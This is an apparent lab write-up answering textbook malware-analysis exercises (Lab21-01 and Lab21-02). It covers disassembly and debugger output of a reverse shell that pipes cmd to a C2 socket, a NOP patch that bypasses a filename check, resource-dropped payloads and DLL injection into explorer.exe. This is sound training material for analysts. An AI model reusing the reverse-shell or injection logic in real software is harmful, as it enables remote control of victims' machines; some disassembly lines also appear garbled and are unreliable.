The diagram illustrates the control flow of the malware. It starts at the top with the assembly code for `sub_401EE0`. A red box highlights the call instruction to `operator new(uint)`. This leads to a new window showing the assembly for `loc_401F26`, which contains several string literals for file paths. A yellow box highlights the strings: `aIndex_html`, `aInfo_html`, `aResponse_html`, `aGet_html`, `aPut_html`, `aSrv_html`, `'TOCI'`, and `'ASGD'`. From `loc_401F26`, the flow goes to `loc_401F24` via a jump. `loc_401F24` contains a single `xor eax, eax` instruction. Finally, the flow returns to another instance of `loc_401F26`.

We also know that this sends a beacon to the C2 and has a number of operations which could occur based on the C2 server response including:

Time ...	Process Name	PID	Operation	Path
2:03:1...	Lab21-01.exe	2468	Process Start	
2:03:1...	Lab21-01.exe	2468	Thread Create	
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\ntdll.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\Prefetch\LAB21-01.EXE-F0E4D618.pf
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\kernel32.dll
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\KernelBase.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\conhost.exe
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\conhost.exe
2:03:1...	Lab21-01.exe	2468	Process Create	C:\Windows\System32\Conhost.exe
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\KernelBase.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\KernelBase.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\kernel32.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\apphelp.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\ntdll.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\kernel32.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\KernelBase.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\apppatch\sysmain.sdb
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\apppatch\sysmain.sdb
2:03:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Windows\apppatch\sysmain.sdb
2:03:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	QueryBasicInfor...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	Thread Create	
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\ws2_32.dll
2:03:1...	Lab21-01.exe	2468	Load Image	C:\Windows\System32\vcrt4.dll
2:03:1...	Lab21-01.exe	2468	Thread Create	
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\vcrt4.dll
2:03:1...	Lab21-01.exe	2468	CreateFile	C:\Windows\System32\ws2_32.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Windows\System32\ws2_32.dll
2:03:1...	Lab21-01.exe	2468	QueryNameInfo...	C:\Users\User\Desktop\BinaryCollection\Chapter_21L\Lab21-01.exe
2:03:1...	Lab21-01.exe	2468	Thread Exit	
2:03:1...	Lab21-01.exe	2468	Thread Exit	
2:03:1...	Lab21-01.exe	2468	Process Exit	
2:03:1...	Lab21-01.exe	2468	RegSetValue	HKLM\System\CurrentControlSet\Services\bam\State\UserSettings\S-1-5-21-38 Lab21-01.exe

ii-Depending on your version of IDA Pro, main may not be recognized automatically. How can you identify the call to the main function?


If we open this in IDA Free 7.0 as a standard AMD64 PE file...




We find that we're dumped into the main function located at 0x1400010C0.


```
00000001400010C0 ; int __cdecl main(int argc, const char **argv, const char **envp)
00000001400010C0 main proc near
00000001400010C0
00000001400010C0 g= dword ptr -340h
00000001400010C0 dwFlags= dword ptr -338h
00000001400010C0 name= sockaddr ptr -330h
00000001400010C0 WSADATA= WSADATA ptr -320h
00000001400010C0 var_181= byte ptr -181h
00000001400010C0 Str1= byte ptr -180h
00000001400010C0 var_17C= dword ptr -17Ch
00000001400010C0 var_170= xmmword ptr -170h
00000001400010C0 var_160= qword ptr -160h
00000001400010C0 var_158= qword ptr -158h
00000001400010C0 var_150= qword ptr -150h
00000001400010C0 var_148= qword ptr -148h
00000001400010C0 var_140= byte ptr -140h
00000001400010C0 Filename= byte ptr -130h
00000001400010C0 Dst= byte ptr -12Fh
00000001400010C0 var_20= qword ptr -20h
00000001400010C0 arg_0= qword ptr 10h
00000001400010C0 arg_8= qword ptr 18h
00000001400010C0 arg_10= qword ptr 20h
00000001400010C0 arg_18= qword ptr 28h
00000001400010C0
```

If we instead open this in another disassembler which doesn't identify the main function, in this case we'll open it in [Cutter](#), if we enable offset visibility in Cutter preferences, we can see we start at 0x140001750.




To identify the call to our main function we will need to look for a call, likely after any 'GetCommandLineA' checks which may be present. If we examine the underlying structure of this PE file using Detect-It-Easy (DIE), we can see it was created in C++.





When this comparison fails, the program makes a jump to 0x14000120E, which then makes a jump past the primary functions of this malware at 0x140001213, to loc_1400013D7.



One way we can make this program run its payload without changing the filename is to ensure that even after it fails this check, instead of jumping to loc_1400013D7, it flows right into the primary function which triggers the payload.

If we run this in a debugger such as [x64dbg](#) (at this point we're introducing a newer, more robust debugger which supports 64-bit debugging), we can find the jump located at 0x140001213.

From here it can be modified to instead perform no operation, effectively allowing the program to flow into its payload.

Lab21-01.exe - PID: 19A4 - Module: lab21-01.exe - Thread: Main Thread 1A68 - x64dbg [Elevated]


```

File View Debug Trace Plugins Favourites Options Help Aug 16 2020
CPU Log Notes Breakpoints Memory Map Call Stack SEH Script Symbols Source
00000001400011F8 48:8D8D E0000000 lea rcx,qword ptr ss:[rbp+0]
00000001400011FF 41:B8 04010000 mov r8d,104
0000000140001205 E8 36020000 call lab21-01.140001440
000000014000120A 85C0 test eax,eax
000000014000120E 74 0A je lab21-01.140001218
000000014000120E 88 01000000 mov eax,1
0000000140001213 90 nop
0000000140001214 90 nop
0000000140001215 90 nop
0000000140001216 90 nop
0000000140001217 90 nop
0000000140001218 48:8D5424 40 lea rdx,qword ptr ss:[rsp+40]
000000014000121D 89 02020000 mov ecx,202
0000000140001222 FF15 B05F0000 call qword ptr ds:[<&WSAStartup>]
0000000140001228 85C0 test eax,eax
000000014000122C ^ 75 E2 jne lab21-01.14000120E
0000000140001234 4C:89B424 88030000 mov qword ptr ss:[rsp+388],r14
000000014000123A 41:BE 02000000 mov r14d,2
000000014000123D 8050 01 lea edx,qword ptr ds:[rax+1]
0000000140001241 44:8D40 06 lea r8d,qword ptr ds:[rax+6]
0000000140001244 45:33C9 xor r9d,r9d
0000000140001247 41:8BCE mov ecx,r14d
0000000140001248 895C24 28 mov dword ptr ss:[rsp+28],ebx
000000014000124F 895C24 20 mov dword ptr ss:[rsp+20],ebx
0000000140001255 FF15 985F0000 call qword ptr ds:[<&WSASocketA>]
0000000140001258 48:8BD8 48:83F8 FF mov rbx,rax
000000014000125C ^ OF84 4F010000 cmp rax,FFFFFFFFFFFFFF
0000000140001262 48:89B424 70030000 je lab21-01.140001381
000000014000126A B9 00010000 mov qword ptr ss:[rsp+370],rsi
000000014000126F 4C:89A424 78030000 mov ecx,100
0000000140001277 4C:89AC24 80030000 mov qword ptr ss:[rsp+378],r12
000000014000127F E8 74020000 call lab21-01.1400014F8
0000000140001284 48:83C9 FF or rcx,FFFFFFFFFFFFFF
0000000140001288 4C:8BD8 33C0 mov r11,rax
000000014000128D 48:80BD F0000000 xor eax,eax
0000000140001294 F2:AE lea rdi,qword ptr ss:[rbp+0]
0000000140001296 4C:8D85 01010000 repne scasd
000000014000129D 4C:8D8D 02010000 lea r8,qword ptr ss:[rbp+101]
00000001400012A4 48:8D8D 00010000 lea r9,qword ptr ss:[rbp+102]
00000001400012AB 4C:8D95 03010000 lea rdi,qword ptr ss:[rbp+100]
00000001400012B2 48:F7D1 4C:8D95 03010000 lea r10,qword ptr ss:[rbp+103]
00000001400012B2 48:F7D1 not rcx

.text:0000000140001213 lab21-01.exe:$1213 #613
Dump 1 Dump 2 Dump 3 Dump 4 Dump 5 Watch 1 Locals Struct
Address Hex ASCII
0000000140001213 90 90 90 90 90 48 8D 54 24 40 89 02 02 00 00 FF ...H.T$@';...y
0000000140001222 15 B0 F5 00 00 00 85 C0 75 E2 4C 89 B4 24 88 03 00 ._.AuâL.$...
0000000140001233 00 41 BE 02 00 00 00 8D 50 01 44 8D 40 06 45 33 A%.P.D.@E3
0000000140001243 C9 41 B8 CE 89 5C 24 28 89 5C 24 20 FF 15 9B 5F ÉA.i.\$(.\$y...
0000000140001253 00 00 48 88 D8 48 83 F8 FF 0F 84 4F 01 00 00 48 ;H.OH.øy..O..H
0000000140001263 89 B4 24 70 03 00 00 B9 00 01 00 00 4C 89 A4 24 .p...'.L.H$
0000000140001273 78 03 00 00 4C 89 AC 24 80 03 00 00 E8 74 02 00 X..L.-$.et..
0000000140001283 00 48 83 C9 FF 4C 8B D8 33 C0 48 8D BD F0 00 00 .H.ÉY.L.Ø3AH.%ð..
0000000140001293 00 F2 AE 4C 8D 85 01 01 00 00 4C 8D 8D 02 01 00 ðøL.....L...
00000001400012A3 00 48 8D BD 00 01 00 00 4C 8D 95 03 01 00 00 48 .H.%..L....H
00000001400012B3 F7 D1 4D 2B C3 4D 2B CB 49 2B FB 4C 8D 69 FF 45 ÆNM+AM+ÉI+ÙL.iÿE
00000001400012C3 88 E6 49 8B F3 4D 2B D3 0F 1F 44 00 00 41 8D 44 .æI.ØM+O..D..A.D
00000001400012D3 21 55 48 83 C0 00 00 44 F7 FD 48 67 00 00 00 00

```


If we set a breakpoint at our new NOP values, we can use F9 to run the program and see it hits them without issue. If we then hold F8 to step over functions, we will begin to see a decoding routine runs which gives us a known C2.



Based on this we know that some transformations must be occurring on the string ocl.exe before being used in this comparison.

vi-Does the function at 0x00000001400013C8 take any parameters?

Jumping to the function at 0x1400013C8, it isn't immediately obvious in IDA or x64dbg how many parameters it takes, but what we do see is RBX being moved into RCX.



Because we know RCX, RDX, R8, and R9 are the first 4 parameters of any given function call in a 64-bit OS, we know that whatever is within RBX at the time of this call will be passed to the

```

0000000140001218
0000000140001218 loc_140001218:           ; lpWSAData
0000000140001218 lea    rdx, [rsp+360h+WSAData]
000000014000121D mov    ecx, 202h      ; wVersionRequested
0000000140001222 call   cs:WSAStartup
0000000140001228 test   eax, eax
000000014000122A jnz    short loc_14000120E

```



```

000000014000122C
000000014000122C loc_14000122C:
000000014000122C mov    [rsp+360h+arg_18], r14
0000000140001234 mov    r14d, 2
000000014000123A lea    edx, [rax+1]    ; type
000000014000123D lea    r8d, [rax+6]    ; protocol
0000000140001241 xor    r9d, r9d      ; lpProtocolInfo
0000000140001244 mov    ecx, r14d     ; af
0000000140001247 mov    [rsp+360h+dwFlags], ebx ; dwFlags
000000014000124B mov    [rsp+360h+g], ebx ; g
000000014000124F call   cs:WSASocketA
0000000140001255 mov    rbx, rax
0000000140001258 cmp    rax, 0xFFFFFFFFFFFFFFFh
000000014000125C jz    loc_1400013B1

```



```

0000000140001262
0000000140001262 loc_140001262:
0000000140001262 mov    [rsp+360h+arg_0], rsi
000000014000126A mov    ecx, 100h      ; Size
000000014000126F mov    [rsp+360h+arg_8], r12
0000000140001277 mov    [rsp+360h+arg_10], r13
000000014000127F call   malloc
0000000140001284 or    rcx, 0xFFFFFFFFFFFFFFFh
0000000140001288 mov    r11, rax
000000014000128B xor    eax, eax
000000014000128D lea    rdi, [rbp+260h+var_170]
0000000140001294 repne scasb
0000000140001296 lea    r8, [rbp+260h+var_160+1]
000000014000129D lea    r9, [rbp+260h+var_160+2]
00000001400012A4 lea    rdi, [rbp+260h+var_160]
00000001400012AB lea    r10, [rbp+260h+var_160+3]
00000001400012B2 not   rcx
00000001400012B5 sub   r8, r11
00000001400012B8 sub   r9, r11
00000001400012BB sub   rdi, r11
00000001400012BE lea    r13, [rcx-1]
00000001400012C2 mov   r12d, r14d
00000001400012C5 mov   rsi, r11
00000001400012C8 sub   r10, r11
00000001400012CB nop   dword ptr [rax+rax+00h]

```

By viewing the start of sub_140001000 in IDA we can also see that rcx is being stored back into rbx which is then being used for the standard input, output, and error destination meaning that all output will be redirected to this socket.

```

0000000140001000 ;org 140001000h
0000000140001000 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
0000000140001000
0000000140001000
0000000140001000
0000000140001000 sub_140001000 proc near
0000000140001000
0000000140001000 bInheritHandles= dword ptr -0C8h
0000000140001000 dwCreationFlags= dword ptr -0C0h
0000000140001000 lpEnvironment= qword ptr -0B8h
0000000140001000 lpCurrentDirectory= qword ptr -0B0h
0000000140001000 lpStartupInfo= qword ptr -0A8h
0000000140001000 lpProcessInformation= qword ptr -0A0h
0000000140001000 ProcessInformation= _PROCESS_INFORMATION ptr -98h
0000000140001000 StartupInfo= _STARTUPINFOA ptr -78h
0000000140001000
0000000140001000 push    rbx
0000000140001002 sub     rsp, 0E0h
0000000140001009 xor     edx, edx      ; Val
0000000140001008 mov     rbx, rcx
000000014000100E lea     rcx, [rsp+0E8h+StartupInfo] ; Dst
0000000140001013 lea     r8d, [rdx+68h] ; Size
0000000140001017 call    memset
000000014000101C xor     eax, eax
000000014000101E lea     rdx, CommandLine ; "cmd"
0000000140001025 mov     [rsp+0E8h+ProcessInformation.hProcess], rax
000000014000102A mov     [rsp+0E8h+ProcessInformation.hThread], rax
000000014000102F mov     qword ptr [rsp+0E8h+ProcessInformation.dwProcessId], rax
0000000140001034 lea     rax, [rsp+0E8h+ProcessInformation]
0000000140001039 xor     r9d, r9d      ; lpThreadAttributes
000000014000103C xor     r8d, r8d      ; lpProcessAttributes
000000014000103F mov     [rsp+0E8h+lpProcessInformation], rax ; lpProcessInformation
0000000140001044 lea     rax, [rsp+0E8h+StartupInfo]
0000000140001049 xor     ecx, ecx      ; lpApplicationName
0000000140001048 mov     [rsp+0E8h+lpStartupInfo], rax ; lpStartupInfo
0000000140001050 xor     eax, eax
0000000140001052 mov     [rsp+0E8h+StartupInfo.cb], 68h
000000014000105A mov     [rsp+0E8h+lpCurrentDirectory], rax ; lpCurrentDirectory
000000014000105F mov     [rsp+0E8h+lpEnvironment], rax ; lpEnvironment
0000000140001064 mov     [rsp+0E8h+dwCreationFlags], eax ; dwCreationFlags
0000000140001068 mov     [rsp+0E8h+bInheritHandles], 1 ; bInheritHandles
0000000140001070 mov     [rsp+0E8h+StartupInfo.dwFlags], 100h
000000014000107B mov     [rsp+0E8h+StartupInfo.hStdInput], rbx
0000000140001083 mov     [rsp+0E8h+StartupInfo.hStdError], rbx
0000000140001088 mov     [rsp+0E8h+StartupInfo.hStdOutput], rbx
0000000140001093 call    cs>CreateProcessA
0000000140001099 mov     rcx, [rsp+0E8h+ProcessInformation.hProcess] ; hHandle
000000014000109E or     edx, 0FFFFFFFh ; dwMilliseconds
00000001400010A1 call    cs:WaitForSingleObject
00000001400010A7 xor     eax, eax
00000001400010A9 add     rsp, 0E0h
00000001400010B0 pop     rbx
00000001400010B1 retn
00000001400010B1 sub_140001000 endp
00000001400010B1

```

Based on this we know that the function at 0x1400013C8 takes 1 parameter, the socket to our C2.

**vii-How many arguments are passed to the call to CreateProcess at 0x00000000140001093?
How do you know?**

It's not immediately clear how many arguments are passed to the call to CreateProcessA at 0x140001093.

```
00000000140001052 mov    [rsp+0E8h+StartupInfo.cb], 68h
0000000014000105A mov    [rsp+0E8h+lpCurrentDirectory], rax ; lpCurrentDirectory
0000000014000105F mov    [rsp+0E8h+lpEnvironment], rax ; lpEnvironment
00000000140001064 mov    [rsp+0E8h+dwCreationFlags], eax ; dwCreationFlags
00000000140001068 mov    [rsp+0E8h+bInheritHandles], 1 ; bInheritHandles
00000000140001070 mov    [rsp+0E8h+StartupInfo.dwFlags], 100h
0000000014000107B mov    [rsp+0E8h+StartupInfo.hStdInput], rbx
00000000140001083 mov    [rsp+0E8h+StartupInfo.hStdError], rbx
0000000014000108B mov    [rsp+0E8h+StartupInfo.hStdOutput], rbx
00000000140001093 call   cs>CreateProcessA
00000000140001099 mov    rcx, [rsp+0E8h+ProcessInformation.hProcess] ; hHandle
0000000014000109E or    edx, 0FFFFFFFh ; dwMilliseconds
000000001400010A1 call   cs:WaitForSingleObject
000000001400010A7 xor    eax, eax
000000001400010A9 add    rsp, 0E0h
000000001400010B0 pop    rbx
```

Given IDA has identified this as CreateProcessA though, we can double click on it and see how many arguments are expected to be passed to this call.



In this case we can see there are 10 arguments which are expected to be passed to it.

- lpApplicationName
- lpCommandLine
- lpProcessAttributes
- lpThreadAttributes
- bInheritHandles
- dwCreationFlags
- lpEnvironment
- lpCurrentDirectory
- lpStartupInfo
- lpProcessInformation


Because this is documented, we know that these 10 arguments need to be passed to [CreateProcessA](#)

The added section is a resource section, and if we examine what is contained within it, we can see three interesting binaries named x64, x64DLL, and x86.


type (2)	name	file-offset (4)	signature	non-standard	size (141658 bytes)	file-ratio (80.43%)	md5
BIN	X64	0x00008128	executable...	x	39424	22.38 %	B951F5C5E1095D31FAEB0324C70B5297
BIN	X64DLL	0x00014B28	executable...	x	52736	29.94 %	C2E078A662C8AE7BB98BC2D66B0D89D7
BIN	X86	0x00021928	executable...	x	49152	27.91 %	A6FB0D8FDEA1C15AFBA7A50DB3D2867B
manifest	1	0x0002D928	manifest	-	346	0.20 %	24D3B502E1846356B0263F945DD5529

Although this malware is similar to Lab12-01.exe, we're not entirely sure how similar it is. To do this we should look at similarities between our sample 'Lab12-01.exe' and 'Lab21-02.exe'. We can utilise a disassembler plugin such as [BinDiff](#) to get this information at a glance. This requires a disassembled binary be present from either a paid pro version of IDA, or the free alternative Ghidra.


If we want to install this plugin into Ghidra, we first must install it on our OS from the provided msi file. From here we can run Ghidra and click File > Install Extensions.




The extension we need to install is [ghidra_BinExport.zip](#) as shown below.



After installing this, we need to restart Ghidra and disassemble both Lab12-01.exe, and Lab21-02.exe. We should also set these to automatically analyze the selected binary.



Once analysis is complete we can use File > Export, and select ‘Binary BinExport for BinDiff’.




Once this is complete for both our binaries, we can compare the 2 BinExport files using BinDiff. We will need to first setup a workspace.




ii-Is this malware compiled for x64 or x86?

Using our BinDiff above we have a graph which tells us what this malware is compiled for.



In this instance it's not a big issue and we can safely ignore that. Scrolling down in IDA, we know that any checks to determine what type of environment it is running in is likely to occur after a call to 'GetCommandLineA'. We soon find this call, and 5 subsequent calls to examine of interest.



One thing to note is that 3 of these look to directly lead to sub_4017D0 which seems to prematurely throw an error and terminate the malware. One of these calls looks more interesting than the others though which is ‘sub_401260’. If we examine this we can see a reference to ‘IsWow64Process’.

```

var_10= word ptr -10h
var_C= dword ptr -0Ch
var_8= dword ptr -8
var_4= dword ptr -4


push    ebp
mov     ebp, esp
mov     eax, 131Ch
call    _alloca_probe
push    ebx
mov     ebx, ds:GetModuleHandleA
push    esi
push    edi
push    0          ; lpModuleName
mov     [ebp+var_C], 0
call    ebx ; GetModuleHandleA
mov     esi, ds:LoadLibraryA
push    offset ProcName ; "EnumProcessModules"
push    offset LibFileName ; "psapi.dll"
mov     [ebp+var_4], eax
call    esi ; LoadLibraryA
mov     edi, ds:GetProcAddress
push    eax          ; hModule
call    edi ; GetProcAddress
push    offset aGetmodulebasen ; "GetModuleBaseNameA"
push    offset LibFileName ; "psapi.dll"
mov     dword_40A7AC, eax
call    esi ; LoadLibraryA
push    eax          ; hModule
call    edi ; GetProcAddress
push    offset aEnumprocesses ; "EnumProcesses"
push    offset LibFileName ; "psapi.dll"
mov     dword_40A7A4, eax
call    esi ; LoadLibraryA
push    eax          ; hModule
call    edi ; GetProcAddress
mov     dword_40A7B0, eax
push    104h         ; uSize
lea     eax, [ebp+Buffer]
push    eax          ; lpBuffer
call    ds:GetSystemDirectoryA
mov     esi, ds:lstrcatA
push    offset String2 ; "\\"
lea     ecx, [ebp+Buffer]
push    ecx          ; lpString1
call    esi ; lstrcatA
push    offset aIsWow64Process ; "IsWow64Process"
push    offset ModuleName ; "kernel32"
mov     [ebp+var_10], 0
call    ebx ; GetModuleHandleA
push    eax          ; hModule
call    edi ; GetProcAddress
mov     dword 40A7A8, eax
test   eax, eax
jz     short loc_401322

```

```

lea     edx, [ebp+var_10]
push   edx
call   ds:GetCurrentProcess
push   eax
call   dword_40A7A8

```




If it returns true, then the malware assumes it is running in an x64 (64-bit) environment. This is due to it being compiled for an x86 (32-bit) environment and needing to be run under [WOW64](#) when executing on a 64-bit OS.

64-bit (x64 Actions):

If we examine the 64-bit case at a glance, we can see the following actions taken:


First we see 2 calls to 'sub_401000' which is associated with getting 2 different files from the binary resource section and saving them to disk, these binaries are then saved as 'Lab21-02x.exe' and 'Lab21-02x.dll' before Lab21-02x.exe is launched and the program terminates.



32-bit (x86 Actions):

If we examine the 32-bit case at a glance, we can see the following actions taken:

First we see a call to ‘sub_401000’ which is once again associated with getting a file from the binary resource section and saving it to disk (Lab21-02.dll). From here we then see the malware allocating the extracted DLL into a buffer for later use, and attempting to grant itself Debug Privileges. From here it then opens a handle to a process with the name ‘explorer.exe’.



Looking further at the malware, we can see that after getting a handle to a process with the name `explorer.exe`, it will attempt to open the process, allocate memory, write the dropped DLL into that process memory, and then create a remote thread to run and execute the injected DLL.

1:24:25.69524...		Lab21-02.exe	1104		C:\Windows\System32\imm32.dll	SUCCESS
1:24:25.69538...		Lab21-02.exe	1104		C:\Windows\System32\imm32.dll	SUCCESS
1:24:25.69563...		Lab21-02.exe	1104		C:\Windows\System32\imm32.dll	SUCCESS
1:24:25.69578...		Lab21-02.exe	1104		C:\Windows\System32\imm32.dll	SUCCESS
1:24:25.72204...		Lab21-02.exe	1104		C:\Windows\System32\Lab21-02.dll	ACCESS DENIED

This shows us that the file Lab21-02.dll is dropped to C:\Windows\System32\Lab21-02.dll when run on an x86 machine.

vi-Which files does the malware drop when running on an x64 machine? Where would you find the file or files?


From the analysis in question 4 we know that the file dropped when run on on x64 machine will be ‘Lab21-02x.exe’ and ‘Lab21-02x.dll’. Using Procmon and running the binary on an x64 system we can see this attempting to be written. In this case we haven’t run the malware as an administrator so it is unable to write the file.

1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\user32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\shell32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\imm32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\imm32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\imm32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\imm32.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Users\User\Desktop\BinaryCollection\SystemResources\Lab21-02.exe.mun	PATH NOT FOUND	D _r
1:18:2...		Lab21-02.exe	4160		C:\Users\User\Desktop\BinaryCollection\SystemResources\Lab21-02.exe.mun	PATH NOT FOUND	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\edgedid.dll	NAME NOT FOUND	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\peapi.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\Lab21-02x.dll	ACCESS DENIED	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\Lab21-02x.exe	ACCESS DENIED	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\combase.dll	SUCCESS	D _r
1:18:2...		Lab21-02.exe	4160		C:\Windows\SysWOW64\SHCore.dll	SUCCESS	D _r

This shows us that the files Lab21-02x.exe and Lab21-02x.dll are dropped to C:\Windows\SysWOW64\Lab21-02x.exe and C:\Windows\SysWOW64\Lab21-02x.dll when run on an x64 machine.

If we take a closer look at ‘sub_401000’ which performs the file dropping on both an x64 and x86 OS, we can see how this happens.

breakpoint before the process is started (for example 0x401381) and collect the dropped binaries from C:\Windows\SysWOW64.



From here we can close our debugger, terminate the process before it executes Lab21-02x.exe, and move these to the same directory as the other binaries we're analysing. Opening both the DLL and EXE in pestudio reveals they don't have the 32-bit flag set, and as such have been compiled specifically for a 64-bit OS.

The screenshot shows two separate instances of the pestudio 8.99 malware analysis tool. Both instances are analyzing files from the path `c:\users\user\Desktop\binarycollection\chapter_21\lab21-02x.{exe|dll}`.

Lab21-02x.exe Analysis:

property	value
processor-32bit	false
signature	0x00004550 (PE00)
machine	Amd64
sections	6
compiler-stamp	0x4ECB004A (Mon Nov 21 17:52:10 2011)
pointer-symbol-table	0x00000000
number-of-symbols	0
size-ofOptional-header	240 (bytes)
processor-32bit	false
relocation-stripped	false
large-address-aware	true
uniprocessor	false
system-image	false
dynamic-link-library	false
executable	true
debug-stripped	false
media-run-from-swap	false
network-run-from-swap	false


Lab21-02.dll Analysis:

property	value
processor-32bit	false
signature	0x00004550 (PE00)
machine	Amd64
sections	6
compiler-stamp	0x4EC346AB (Tue Nov 15 21:14:19 2011)
pointer-symbol-table	0x00000000
number-of-symbols	0
size-ofOptional-header	240 (bytes)
processor-32bit	false
relocation-stripped	false
large-address-aware	true
uniprocessor	false
system-image	false
dynamic-link-library	true
executable	true
debug-stripped	false
media-run-from-swap	false
network-run-from-swap	false


From this we know that the malware launches a 64-bit process when run on a x64 system, after the initial 32-bit process is run to drop our 64-bit payloads.

viii-What does the malware do?

To fully answer this question we still need to understand what happens after Lab21-02x.exe is executed, and what the payload of Lab21-02.dll is which is injected into explorer.exe. Starting with Lab21-02.dll, we can first extract this by repeating the process we took in the above question except we need to perform this on a 32-bit OS, and set a breakpoint at a different location (for example 0x401454) which occurs on the x86 path.




We know that this is similar to Lab12-01.exe which injected Lab12-01.dll into explorer.exe. If we compare the file hash of Lab12-01.dll and Lab21-02.dll, we can confirm that these are the exact same DLL.




In this instance the malware when run on an x86 system drops the required DLL which is identical to Lab12-01.dll and injects this into explorer.exe.

At this point we just need to confirm what the malware does once Lab21-02x.exe is executed. If we open this in IDA 7.0, we can see that it is attempting to get a handle on the dropped DLL file Lab21-02x.dll so it's likely this is going to be used somewhere by a reference to [rsp+1168h+String1].



Shortly after we see a familiar group of calls which indicate that Lab21-02x.dll (stored in `[rsp+1168h+String1]`) will be the buffer injected into explorer.exe.



At this point it's beginning to look like this malware injects the same payload into explorer.exe on both 32-bit and 64-bit operating systems, except it sources that payload from different resources in the executable. To confirm this we need to examine Lab21-02x.dll which is being injected and see if it is similar to Lab21-02.dll (or Lab12-01.dll).

To do this we can open both of these in IDA and look at the StartAddress to see that Lab21-02.dll is identical only Lab21-02x.dll is compiled for a 64-bit OS.

From the above analysis we know that the malware first drops secondary payloads from its resource section, and that the resource section payload differs depending on if it is running in a 64-bit or 32-bit OS. On a 64-bit OS it will drop 2 binaries Lab21-02x.dll and Lab21-02x.exe, and then execute Lab21-02x.exe to inject Lab21-02x.dll into explorer.exe. On a 32-bit it will drop a Lab21-02.dll and inject this into explorer.exe. In both cases the injected DLL performs the same action as Lab12-01.dll which prompts the user to reboot with a message counting how many minutes have passed since it executed.